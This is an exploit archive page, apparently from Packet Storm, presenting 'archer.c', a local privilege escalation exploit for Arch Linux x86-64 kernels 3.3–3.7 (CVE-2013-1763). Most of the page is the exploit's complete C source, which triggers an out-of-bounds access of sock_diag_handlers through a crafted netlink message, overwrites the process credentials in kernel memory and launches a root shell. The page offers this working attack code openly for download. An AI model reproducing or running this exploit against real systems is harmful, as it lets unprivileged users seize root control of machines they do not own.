what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Archlinux/x86-64 3.3.x-3.7.x x86-64 sock_diag_handlers[] Local Root

Archlinux/x86-64 3.3.x-3.7.x x86-64 sock_diag_handlers[] Local Root
Posted Feb 26, 2013
Authored by sd

Local root exploit for Archlinux that allows an unprivileged user to take over control in kernel mode due to an out-of-bounds access of the sock_diag_handlers[] array. Works reliably against x86-64 3.3-3.7.

tags | exploit, x86, kernel, local, root
advisories | CVE-2013-1763
SHA-256 | 25f2aab0c8030a52582b1a4727080cb36afc4818b3e2b57e373fe61a918c940d

Archlinux/x86-64 3.3.x-3.7.x x86-64 sock_diag_handlers[] Local Root

Change Mirror Download
// archer.c
//
// 2012 sd@fucksheep.org
//
// Works reliably against x86-64 3.3-3.7 arch.
//
// Tested against:
//
// Linux XXX 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux
// Linux XXX 3.4.7-1-ARCH #1 SMP PREEMPT Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux
// Linux XXX 3.7.4-1-ARCH #1 SMP PREEMPT Mon Jan 21 23:05:29 CET 2013 x86_64 GNU/Linux
// ...

#include <assert.h>

#define JUMP 0x0000100000001000LL
#define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000

static long ugid;

void patch_current() {
int i,j,k;
char *current = *(char**)(((long)&i) & (-8192));
long kbase = ((long)current)>>36;

for (i=0; i<4000; i+=4) {
long *p = (void *)&current[i];
int *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20; j++) {
for (k = 0; k < 8; k++)
if (((int*)&ugid)[k%2] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}


int main()
{
long u = getuid();
long g = getgid();
int i, f = socket(16,3,4);
static int n[10] = {40,0x10014,0,0,45,-1};

assert(mmap((void*)(1<<12), 1<<20, 3, 0x32, 0, 0)!=-1);

setresuid(u,u,u); setresgid(g,g,g);
ugid = (g<<32)|u;

memcpy(1<<12, &patch_current, 1024);
for (i = 0; i < (1<<17); i++) ((void**)(1<<12))[i] = &patch_current;
send(f, n, sizeof(n), 0);
setuid(0);
return execl("/bin/bash", "-sh", 0);
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close